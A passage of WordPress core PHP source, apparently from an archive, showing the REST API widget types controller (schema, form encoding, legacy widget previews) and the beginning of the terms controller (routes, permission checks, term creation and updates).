		if ( is_wp_error( $check ) ) {
			return $check;
		}
		$widget_id   = $request['id'];
		$widget_type = $this->get_widget( $widget_id );
		if ( is_wp_error( $widget_type ) ) {
			return $widget_type;
		}

		return true;
	}

	/**
	 * Checks whether the user can read widget types.
	 *
	 * @since 5.8.0
	 *
	 * @return true|WP_Error True if the widget type is visible, WP_Error otherwise.
	 */
	protected function check_read_permission() {
		if ( ! current_user_can( 'edit_theme_options' ) ) {
			return new WP_Error(
				'rest_cannot_manage_widgets',
				__( 'Sorry, you are not allowed to manage widgets on this site.' ),
				array(
					'status' => rest_authorization_required_code(),
				)
			);
		}

		return true;
	}

	/**
	 * Gets the details about the requested widget.
	 *
	 * @since 5.8.0
	 *
	 * @param string $id The widget type id.
	 * @return array|WP_Error The array of widget data if the name is valid, WP_Error otherwise.
	 */
	public function get_widget( $id ) {
		foreach ( $this->get_widgets() as $widget ) {
			if ( $id === $widget['id'] ) {
				return $widget;
			}
		}

		return new WP_Error( 'rest_widget_type_invalid', __( 'Invalid widget type.' ), array( 'status' => 404 ) );
	}

	/**
	 * Normalize array of widgets.
	 *
	 * @since 5.8.0
	 *
	 * @global WP_Widget_Factory $wp_widget_factory
	 * @global array             $wp_registered_widgets The list of registered widgets.
	 *
	 * @return array Array of widgets.
	 */
	protected function get_widgets() {
		global $wp_widget_factory, $wp_registered_widgets;

		$widgets = array();

		foreach ( $wp_registered_widgets as $widget ) {
			$parsed_id     = wp_parse_widget_id( $widget['id'] );
			$widget_object = $wp_widget_factory->get_widget_object( $parsed_id['id_base'] );

			$widget['id']       = $parsed_id['id_base'];
			$widget['is_multi'] = (bool) $widget_object;

			if ( isset( $widget['name'] ) ) {
				$widget['name'] = html_entity_decode( $widget['name'], ENT_QUOTES, get_bloginfo( 'charset' ) );
			}

			if ( isset( $widget['description'] ) ) {
				$widget['description'] = html_entity_decode( $widget['description'], ENT_QUOTES, get_bloginfo( 'charset' ) );
			}

			unset( $widget['callback'] );

			$classname = '';
			foreach ( (array) $widget['classname'] as $cn ) {
				if ( is_string( $cn ) ) {
					$classname .= '_' . $cn;
				} elseif ( is_object( $cn ) ) {
					$classname .= '_' . get_class( $cn );
				}
			}
			$widget['classname'] = ltrim( $classname, '_' );

			$widgets[ $widget['id'] ] = $widget;
		}

		ksort( $widgets );

		return $widgets;
	}

	/**
	 * Retrieves a single widget type from the collection.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$widget_id   = $request['id'];
		$widget_type = $this->get_widget( $widget_id );
		if ( is_wp_error( $widget_type ) ) {
			return $widget_type;
		}
		$data = $this->prepare_item_for_response( $widget_type, $request );

		return rest_ensure_response( $data );
	}

	/**
	 * Prepares a widget type object for serialization.
	 *
	 * @since 5.8.0
	 * @since 5.9.0 Renamed `$widget_type` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param array           $item    Widget type data.
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response Widget type data.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$widget_type = $item;

		// Don't prepare the response body for HEAD requests.
		if ( $request->is_method( 'HEAD' ) ) {
			/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php */
			return apply_filters( 'rest_prepare_widget_type', new WP_REST_Response( array() ), $widget_type, $request );
		}

		$fields = $this->get_fields_for_response( $request );
		$data   = array(
			'id' => $widget_type['id'],
		);

		$schema       = $this->get_item_schema();
		$extra_fields = array(
			'name',
			'description',
			'is_multi',
			'classname',
			'widget_class',
			'option_name',
			'customize_selective_refresh',
		);

		foreach ( $extra_fields as $extra_field ) {
			if ( ! rest_is_field_included( $extra_field, $fields ) ) {
				continue;
			}

			if ( isset( $widget_type[ $extra_field ] ) ) {
				$field = $widget_type[ $extra_field ];
			} elseif ( array_key_exists( 'default', $schema['properties'][ $extra_field ] ) ) {
				$field = $schema['properties'][ $extra_field ]['default'];
			} else {
				$field = '';
			}

			$data[ $extra_field ] = rest_sanitize_value_from_schema( $field, $schema['properties'][ $extra_field ] );
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_links( $this->prepare_links( $widget_type ) );
		}

		/**
		 * Filters the REST API response for a widget type.
		 *
		 * @since 5.8.0
		 *
		 * @param WP_REST_Response $response    The response object.
		 * @param array            $widget_type The array of widget data.
		 * @param WP_REST_Request  $request     The request object.
		 */
		return apply_filters( 'rest_prepare_widget_type', $response, $widget_type, $request );
	}

	/**
	 * Prepares links for the widget type.
	 *
	 * @since 5.8.0
	 *
	 * @param array $widget_type Widget type data.
	 * @return array Links for the given widget type.
	 */
	protected function prepare_links( $widget_type ) {
		return array(
			'collection' => array(
				'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
			),
			'self'       => array(
				'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $widget_type['id'] ) ),
			),
		);
	}

	/**
	 * Retrieves the widget type's schema, conforming to JSON Schema.
	 *
	 * @since 5.8.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'widget-type',
			'type'       => 'object',
			'properties' => array(
				'id'          => array(
					'description' => __( 'Unique slug identifying the widget type.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'name'        => array(
					'description' => __( 'Human-readable name identifying the widget type.' ),
					'type'        => 'string',
					'default'     => '',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'description' => array(
					'description' => __( 'Description of the widget.' ),
					'type'        => 'string',
					'default'     => '',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'is_multi'    => array(
					'description' => __( 'Whether the widget supports multiple instances' ),
					'type'        => 'boolean',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'classname'   => array(
					'description' => __( 'Class name' ),
					'type'        => 'string',
					'default'     => '',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
			),
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * An RPC-style endpoint which can be used by clients to turn user input in
	 * a widget admin form into an encoded instance object.
	 *
	 * Accepts:
	 *
	 * - id:        A widget type ID.
	 * - instance:  A widget's encoded instance object. Optional.
	 * - form_data: Form data from submitting a widget's admin form. Optional.
	 *
	 * Returns:
	 * - instance: The encoded instance object after updating the widget with
	 *             the given form data.
	 * - form:     The widget's admin form after updating the widget with the
	 *             given form data.
	 *
	 * @since 5.8.0
	 *
	 * @global WP_Widget_Factory $wp_widget_factory
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function encode_form_data( $request ) {
		global $wp_widget_factory;

		$id            = $request['id'];
		$widget_object = $wp_widget_factory->get_widget_object( $id );

		if ( ! $widget_object ) {
			return new WP_Error(
				'rest_invalid_widget',
				__( 'Cannot preview a widget that does not extend WP_Widget.' ),
				array( 'status' => 400 )
			);
		}

		/*
		 * Set the widget's number so that the id attributes in the HTML that we
		 * return are predictable.
		 */
		if ( isset( $request['number'] ) && is_numeric( $request['number'] ) ) {
			$widget_object->_set( (int) $request['number'] );
		} else {
			$widget_object->_set( -1 );
		}

		if ( isset( $request['instance']['encoded'], $request['instance']['hash'] ) ) {
			$serialized_instance = base64_decode( $request['instance']['encoded'] );
			if ( ! hash_equals( wp_hash( $serialized_instance ), $request['instance']['hash'] ) ) {
				return new WP_Error(
					'rest_invalid_widget',
					__( 'The provided instance is malformed.' ),
					array( 'status' => 400 )
				);
			}
			$instance = unserialize( $serialized_instance );
		} else {
			$instance = array();
		}

		if (
			isset( $request['form_data'][ "widget-$id" ] ) &&
			is_array( $request['form_data'][ "widget-$id" ] )
		) {
			$new_instance = array_values( $request['form_data'][ "widget-$id" ] )[0];
			$old_instance = $instance;

			$instance = $widget_object->update( $new_instance, $old_instance );

			/** This filter is documented in wp-includes/class-wp-widget.php */
			$instance = apply_filters(
				'widget_update_callback',
				$instance,
				$new_instance,
				$old_instance,
				$widget_object
			);
		}

		$serialized_instance = serialize( $instance );
		$widget_key          = $wp_widget_factory->get_widget_key( $id );

		$response = array(
			'form'     => trim(
				$this->get_widget_form(
					$widget_object,
					$instance
				)
			),
			'preview'  => trim(
				$this->get_widget_preview(
					$widget_key,
					$instance
				)
			),
			'instance' => array(
				'encoded' => base64_encode( $serialized_instance ),
				'hash'    => wp_hash( $serialized_instance ),
			),
		);

		if ( ! empty( $widget_object->widget_options['show_instance_in_rest'] ) ) {
			// Use new stdClass so that JSON result is {} and not [].
			$response['instance']['raw'] = empty( $instance ) ? new stdClass() : $instance;
		}

		return rest_ensure_response( $response );
	}

	/**
	 * Returns the output of WP_Widget::widget() when called with the provided
	 * instance. Used by encode_form_data() to preview a widget.

	 * @since 5.8.0
	 *
	 * @param string    $widget   The widget's PHP class name (see class-wp-widget.php).
	 * @param array     $instance Widget instance settings.
	 * @return string
	 */
	private function get_widget_preview( $widget, $instance ) {
		ob_start();
		the_widget( $widget, $instance );
		return ob_get_clean();
	}

	/**
	 * Returns the output of WP_Widget::form() when called with the provided
	 * instance. Used by encode_form_data() to preview a widget's form.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_Widget $widget_object Widget object to call widget() on.
	 * @param array     $instance Widget instance settings.
	 * @return string
	 */
	private function get_widget_form( $widget_object, $instance ) {
		ob_start();

		/** This filter is documented in wp-includes/class-wp-widget.php */
		$instance = apply_filters(
			'widget_form_callback',
			$instance,
			$widget_object
		);

		if ( false !== $instance ) {
			$return = $widget_object->form( $instance );

			/** This filter is documented in wp-includes/class-wp-widget.php */
			do_action_ref_array(
				'in_widget_form',
				array( &$widget_object, &$return, $instance )
			);
		}

		return ob_get_clean();
	}

	/**
	 * Renders a single Legacy Widget and wraps it in a JSON-encodable array.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 *
	 * @return array An array with rendered Legacy Widget HTML.
	 */
	public function render( $request ) {
		return array(
			'preview' => $this->render_legacy_widget_preview_iframe(
				$request['id'],
				isset( $request['instance'] ) ? $request['instance'] : null
			),
		);
	}

	/**
	 * Renders a page containing a preview of the requested Legacy Widget block.
	 *
	 * @since 5.9.0
	 *
	 * @param string $id_base The id base of the requested widget.
	 * @param array  $instance The widget instance attributes.
	 *
	 * @return string Rendered Legacy Widget block preview.
	 */
	private function render_legacy_widget_preview_iframe( $id_base, $instance ) {
		if ( ! defined( 'IFRAME_REQUEST' ) ) {
			define( 'IFRAME_REQUEST', true );
		}

		ob_start();
		?>
		<!doctype html>
		<html <?php language_attributes(); ?>>
		<head>
			<meta charset="<?php bloginfo( 'charset' ); ?>" />
			<meta name="viewport" content="width=device-width, initial-scale=1" />
			<link rel="profile" href="https://gmpg.org/xfn/11" />
			<?php wp_head(); ?>
			<style>
				/* Reset theme styles */
				html, body, #page, #content {
					padding: 0 !important;
					margin: 0 !important;
				}
			</style>
		</head>
		<body <?php body_class(); ?>>
		<div id="page" class="site">
			<div id="content" class="site-content">
				<?php
				$registry = WP_Block_Type_Registry::get_instance();
				$block    = $registry->get_registered( 'core/legacy-widget' );
				echo $block->render(
					array(
						'idBase'   => $id_base,
						'instance' => $instance,
					)
				);
				?>
			</div><!-- #content -->
		</div><!-- #page -->
		<?php wp_footer(); ?>
		</body>
		</html>
		<?php
		return ob_get_clean();
	}

	/**
	 * Retrieves the query params for collections.
	 *
	 * @since 5.8.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		return array(
			'context' => $this->get_context_param( array( 'default' => 'view' ) ),
		);
	}
}
endpoints/class-wp-rest-terms-controller.php000064400000105165151024200430015274 0ustar00<?php
/**
 * REST API: WP_REST_Terms_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class used to managed terms associated with a taxonomy via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Terms_Controller extends WP_REST_Controller {

	/**
	 * Taxonomy key.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	protected $taxonomy;

	/**
	 * Instance of a term meta fields object.
	 *
	 * @since 4.7.0
	 * @var WP_REST_Term_Meta_Fields
	 */
	protected $meta;

	/**
	 * Column to have the terms be sorted by.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	protected $sort_column;

	/**
	 * Number of terms that were found.
	 *
	 * @since 4.7.0
	 * @var int
	 */
	protected $total_terms;

	/**
	 * Whether the controller supports batching.
	 *
	 * @since 5.9.0
	 * @var array
	 */
	protected $allow_batch = array( 'v1' => true );

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 *
	 * @param string $taxonomy Taxonomy key.
	 */
	public function __construct( $taxonomy ) {
		$this->taxonomy  = $taxonomy;
		$tax_obj         = get_taxonomy( $taxonomy );
		$this->rest_base = ! empty( $tax_obj->rest_base ) ? $tax_obj->rest_base : $tax_obj->name;
		$this->namespace = ! empty( $tax_obj->rest_namespace ) ? $tax_obj->rest_namespace : 'wp/v2';

		$this->meta = new WP_REST_Term_Meta_Fields( $taxonomy );
	}

	/**
	 * Registers the routes for terms.
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				array(
					'methods'             => WP_REST_Server::CREATABLE,
					'callback'            => array( $this, 'create_item' ),
					'permission_callback' => array( $this, 'create_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::CREATABLE ),
				),
				'allow_batch' => $this->allow_batch,
				'schema'      => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<id>[\d]+)',
			array(
				'args'        => array(
					'id' => array(
						'description' => __( 'Unique identifier for the term.' ),
						'type'        => 'integer',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				array(
					'methods'             => WP_REST_Server::EDITABLE,
					'callback'            => array( $this, 'update_item' ),
					'permission_callback' => array( $this, 'update_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
				),
				array(
					'methods'             => WP_REST_Server::DELETABLE,
					'callback'            => array( $this, 'delete_item' ),
					'permission_callback' => array( $this, 'delete_item_permissions_check' ),
					'args'                => array(
						'force' => array(
							'type'        => 'boolean',
							'default'     => false,
							'description' => __( 'Required to be true, as terms do not support trashing.' ),
						),
					),
				),
				'allow_batch' => $this->allow_batch,
				'schema'      => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks if the terms for a post can be read.
	 *
	 * @since 6.0.3
	 *
	 * @param WP_Post         $post    Post object.
	 * @param WP_REST_Request $request Full details about the request.
	 * @return bool Whether the terms for the post can be read.
	 */
	public function check_read_terms_permission_for_post( $post, $request ) {
		// If the requested post isn't associated with this taxonomy, deny access.
		if ( ! is_object_in_taxonomy( $post->post_type, $this->taxonomy ) ) {
			return false;
		}

		// Grant access if the post is publicly viewable.
		if ( is_post_publicly_viewable( $post ) ) {
			return true;
		}

		// Otherwise grant access if the post is readable by the logged-in user.
		if ( current_user_can( 'read_post', $post->ID ) ) {
			return true;
		}

		// Otherwise, deny access.
		return false;
	}

	/**
	 * Checks if a request has access to read terms in the specified taxonomy.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return bool|WP_Error True if the request has read access, otherwise false or WP_Error object.
	 */
	public function get_items_permissions_check( $request ) {
		$tax_obj = get_taxonomy( $this->taxonomy );

		if ( ! $tax_obj || ! $this->check_is_taxonomy_allowed( $this->taxonomy ) ) {
			return false;
		}

		if ( 'edit' === $request['context'] && ! current_user_can( $tax_obj->cap->edit_terms ) ) {
			return new WP_Error(
				'rest_forbidden_context',
				__( 'Sorry, you are not allowed to edit terms in this taxonomy.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( ! empty( $request['post'] ) ) {
			$post = get_post( $request['post'] );

			if ( ! $post ) {
				return new WP_Error(
					'rest_post_invalid_id',
					__( 'Invalid post ID.' ),
					array(
						'status' => 400,
					)
				);
			}

			if ( ! $this->check_read_terms_permission_for_post( $post, $request ) ) {
				return new WP_Error(
					'rest_forbidden_context',
					__( 'Sorry, you are not allowed to view terms for this post.' ),
					array(
						'status' => rest_authorization_required_code(),
					)
				);
			}
		}

		return true;
	}

	/**
	 * Retrieves terms associated with a taxonomy.
	 *
	 * @since 4.7.0
	 * @since 6.8.0 Respect default query arguments set for the taxonomy upon registration.
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {

		// Retrieve the list of registered collection query parameters.
		$registered = $this->get_collection_params();

		/*
		 * This array defines mappings between public API query parameters whose
		 * values are accepted as-passed, and their internal WP_Query parameter
		 * name equivalents (some are the same). Only values which are also
		 * present in $registered will be set.
		 */
		$parameter_mappings = array(
			'exclude'    => 'exclude',
			'include'    => 'include',
			'order'      => 'order',
			'orderby'    => 'orderby',
			'post'       => 'post',
			'hide_empty' => 'hide_empty',
			'per_page'   => 'number',
			'search'     => 'search',
			'slug'       => 'slug',
		);

		$prepared_args = array( 'taxonomy' => $this->taxonomy );

		/*
		 * For each known parameter which is both registered and present in the request,
		 * set the parameter's value on the query $prepared_args.
		 */
		foreach ( $parameter_mappings as $api_param => $wp_param ) {
			if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) {
				$prepared_args[ $wp_param ] = $request[ $api_param ];
			}
		}

		if ( isset( $prepared_args['orderby'] ) && isset( $request['orderby'] ) ) {
			$orderby_mappings = array(
				'include_slugs' => 'slug__in',
			);

			if ( isset( $orderby_mappings[ $request['orderby'] ] ) ) {
				$prepared_args['orderby'] = $orderby_mappings[ $request['orderby'] ];
			}
		}

		if ( isset( $registered['offset'] ) && ! empty( $request['offset'] ) ) {
			$prepared_args['offset'] = $request['offset'];
		} else {
			$prepared_args['offset'] = ( $request['page'] - 1 ) * $prepared_args['number'];
		}

		$taxonomy_obj = get_taxonomy( $this->taxonomy );

		if ( $taxonomy_obj->hierarchical && isset( $registered['parent'], $request['parent'] ) ) {
			if ( 0 === $request['parent'] ) {
				// Only query top-level terms.
				$prepared_args['parent'] = 0;
			} else {
				if ( $request['parent'] ) {
					$prepared_args['parent'] = $request['parent'];
				}
			}
		}

		/*
		 * When a taxonomy is registered with an 'args' array,
		 * those params override the `$args` passed to this function.
		 *
		 * We only need to do this if no `post` argument is provided.
		 * Otherwise, terms will be fetched using `wp_get_object_terms()`,
		 * which respects the default query arguments set for the taxonomy.
		 */
		if (
			empty( $prepared_args['post'] ) &&
			isset( $taxonomy_obj->args ) &&
			is_array( $taxonomy_obj->args )
		) {
			$prepared_args = array_merge( $prepared_args, $taxonomy_obj->args );
		}

		$is_head_request = $request->is_method( 'HEAD' );
		if ( $is_head_request ) {
			// Force the 'fields' argument. For HEAD requests, only term IDs are required.
			$prepared_args['fields'] = 'ids';
			// Disable priming term meta for HEAD requests to improve performance.
			$prepared_args['update_term_meta_cache'] = false;
		}

		/**
		 * Filters get_terms() arguments when querying terms via the REST API.
		 *
		 * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_category_query`
		 *  - `rest_post_tag_query`
		 *
		 * Enables adding extra arguments or setting defaults for a terms
		 * collection request.
		 *
		 * @since 4.7.0
		 *
		 * @link https://developer.wordpress.org/reference/functions/get_terms/
		 *
		 * @param array           $prepared_args Array of arguments for get_terms().
		 * @param WP_REST_Request $request       The REST API request.
		 */
		$prepared_args = apply_filters( "rest_{$this->taxonomy}_query", $prepared_args, $request );

		if ( ! empty( $prepared_args['post'] ) ) {
			$query_result = wp_get_object_terms( $prepared_args['post'], $this->taxonomy, $prepared_args );

			// Used when calling wp_count_terms() below.
			$prepared_args['object_ids'] = $prepared_args['post'];
		} else {
			$query_result = get_terms( $prepared_args );
		}

		$count_args = $prepared_args;

		unset( $count_args['number'], $count_args['offset'] );

		$total_terms = wp_count_terms( $count_args );

		// wp_count_terms() can return a falsey value when the term has no children.
		if ( ! $total_terms ) {
			$total_terms = 0;
		}

		if ( ! $is_head_request ) {
			$response = array();
			foreach ( $query_result as $term ) {
				if ( 'edit' === $request['context'] && ! current_user_can( 'edit_term', $term->term_id ) ) {
					continue;
				}

				$data       = $this->prepare_item_for_response( $term, $request );
				$response[] = $this->prepare_response_for_collection( $data );
			}
		}

		$response = $is_head_request ? new WP_REST_Response( array() ) : rest_ensure_response( $response );

		// Store pagination values for headers.
		$per_page = (int) $prepared_args['number'];
		$page     = (int) ceil( ( ( (int) $prepared_args['offset'] ) / $per_page ) + 1 );

		$response->header( 'X-WP-Total', (int) $total_terms );

		$max_pages = (int) ceil( $total_terms / $per_page );

		$response->header( 'X-WP-TotalPages', $max_pages );

		$request_params = $request->get_query_params();
		$collection_url = rest_url( rest_get_route_for_taxonomy_items( $this->taxonomy ) );
		$base           = add_query_arg( urlencode_deep( $request_params ), $collection_url );

		if ( $page > 1 ) {
			$prev_page = $page - 1;

			if ( $prev_page > $max_pages ) {
				$prev_page = $max_pages;
			}

			$prev_link = add_query_arg( 'page', $prev_page, $base );
			$response->link_header( 'prev', $prev_link );
		}
		if ( $max_pages > $page ) {
			$next_page = $page + 1;
			$next_link = add_query_arg( 'page', $next_page, $base );

			$response->link_header( 'next', $next_link );
		}

		return $response;
	}

	/**
	 * Get the term, if the ID is valid.
	 *
	 * @since 4.7.2
	 *
	 * @param int $id Supplied ID.
	 * @return WP_Term|WP_Error Term object if ID is valid, WP_Error otherwise.
	 */
	protected function get_term( $id ) {
		$error = new WP_Error(
			'rest_term_invalid',
			__( 'Term does not exist.' ),
			array( 'status' => 404 )
		);

		if ( ! $this->check_is_taxonomy_allowed( $this->taxonomy ) ) {
			return $error;
		}

		if ( (int) $id <= 0 ) {
			return $error;
		}

		$term = get_term( (int) $id, $this->taxonomy );
		if ( empty( $term ) || $term->taxonomy !== $this->taxonomy ) {
			return $error;
		}

		return $term;
	}

	/**
	 * Checks if a request has access to read or edit the specified term.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, otherwise WP_Error object.
	 */
	public function get_item_permissions_check( $request ) {
		$term = $this->get_term( $request['id'] );

		if ( is_wp_error( $term ) ) {
			return $term;
		}

		if ( 'edit' === $request['context'] && ! current_user_can( 'edit_term', $term->term_id ) ) {
			return new WP_Error(
				'rest_forbidden_context',
				__( 'Sorry, you are not allowed to edit this term.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Gets a single term from a taxonomy.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$term = $this->get_term( $request['id'] );
		if ( is_wp_error( $term ) ) {
			return $term;
		}

		$response = $this->prepare_item_for_response( $term, $request );

		return rest_ensure_response( $response );
	}

	/**
	 * Checks if a request has access to create a term.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return bool|WP_Error True if the request has access to create items, otherwise false or WP_Error object.
	 */
	public function create_item_permissions_check( $request ) {

		if ( ! $this->check_is_taxonomy_allowed( $this->taxonomy ) ) {
			return false;
		}

		$taxonomy_obj = get_taxonomy( $this->taxonomy );

		if ( ( is_taxonomy_hierarchical( $this->taxonomy )
				&& ! current_user_can( $taxonomy_obj->cap->edit_terms ) )
			|| ( ! is_taxonomy_hierarchical( $this->taxonomy )
				&& ! current_user_can( $taxonomy_obj->cap->assign_terms ) ) ) {
			return new WP_Error(
				'rest_cannot_create',
				__( 'Sorry, you are not allowed to create terms in this taxonomy.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Creates a single term in a taxonomy.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {
		if ( isset( $request['parent'] ) ) {
			if ( ! is_taxonomy_hierarchical( $this->taxonomy ) ) {
				return new WP_Error(
					'rest_taxonomy_not_hierarchical',
					__( 'Cannot set parent term, taxonomy is not hierarchical.' ),
					array( 'status' => 400 )
				);
			}

			$parent = get_term( (int) $request['parent'], $this->taxonomy );

			if ( ! $parent ) {
				return new WP_Error(
					'rest_term_invalid',
					__( 'Parent term does not exist.' ),
					array( 'status' => 400 )
				);
			}
		}

		$prepared_term = $this->prepare_item_for_database( $request );

		$term = wp_insert_term( wp_slash( $prepared_term->name ), $this->taxonomy, wp_slash( (array) $prepared_term ) );
		if ( is_wp_error( $term ) ) {
			/*
			 * If we're going to inform the client that the term already exists,
			 * give them the identifier for future use.
			 */
			$term_id = $term->get_error_data( 'term_exists' );
			if ( $term_id ) {
				$existing_term = get_term( $term_id, $this->taxonomy );
				$term->add_data( $existing_term->term_id, 'term_exists' );
				$term->add_data(
					array(
						'status'  => 400,
						'term_id' => $term_id,
					)
				);
			}

			return $term;
		}

		$term = get_term( $term['term_id'], $this->taxonomy );

		/**
		 * Fires after a single term is created or updated via the REST API.
		 *
		 * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_insert_category`
		 *  - `rest_insert_post_tag`
		 *
		 * @since 4.7.0
		 *
		 * @param WP_Term         $term     Inserted or updated term object.
		 * @param WP_REST_Request $request  Request object.
		 * @param bool            $creating True when creating a term, false when updating.
		 */
		do_action( "rest_insert_{$this->taxonomy}", $term, $request, true );

		$schema = $this->get_item_schema();
		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $term->term_id );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$fields_update = $this->update_additional_fields_for_object( $term, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'edit' );

		/**
		 * Fires after a single term is completely created or updated via the REST API.
		 *
		 * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_after_insert_category`
		 *  - `rest_after_insert_post_tag`
		 *
		 * @since 5.0.0
		 *
		 * @param WP_Term         $term     Inserted or updated term object.
		 * @param WP_REST_Request $request  Request object.
		 * @param bool            $creating True when creating a term, false when updating.
		 */
		do_action( "rest_after_insert_{$this->taxonomy}", $term, $request, true );

		$response = $this->prepare_item_for_response( $term, $request );
		$response = rest_ensure_response( $response );

		$response->set_status( 201 );
		$response->header( 'Location', rest_url( $this->namespace . '/' . $this->rest_base . '/' . $term->term_id ) );

		return $response;
	}

	/**
	 * Checks if a request has access to update the specified term.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to update the item, false or WP_Error object otherwise.
	 */
	public function update_item_permissions_check( $request ) {
		$term = $this->get_term( $request['id'] );

		if ( is_wp_error( $term ) ) {
			return $term;
		}

		if ( ! current_user_can( 'edit_term', $term->term_id ) ) {
			return new WP_Error(
				'rest_cannot_update',
				__( 'Sorry, you are not allowed to edit this term.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Updates a single term from a taxonomy.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function update_item( $request ) {
		$term = $this->get_term( $request['id'] );
		if ( is_wp_error( $term ) ) {
			return $term;
		}

		if ( isset( $request['parent'] ) ) {
			if ( ! is_taxonomy_hierarchical( $this->taxonomy ) ) {
				return new WP_Error(
					'rest_taxonomy_not_hierarchical',
					__( 'Cannot set parent term, taxonomy is not hierarchical.' ),
					array( 'status' => 400 )
				);
			}

			$parent = get_term( (int) $request['parent'], $this->taxonomy );

			if ( ! $parent ) {
				return new WP_Error(
					'rest_term_invalid',
					__( 'Parent term does not exist.' ),
					array( 'status' => 400 )
				);
			}
		}

		$prepared_term = $this->prepare_item_for_database( $request );

		// Only update the term if we have something to update.
		if ( ! empty( $prepared_term ) ) {
			$update = wp_update_term( $term->term_id, $term->taxonomy, wp_slash( (array) $prepared_term ) );

			if ( is_wp_error( $update ) ) {
				return $update;
			}
		}

		$term = get_term( $term->term_id, $this->taxonomy );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */
		do_action( "rest_insert_{$this->taxonomy}", $term, $request, false );

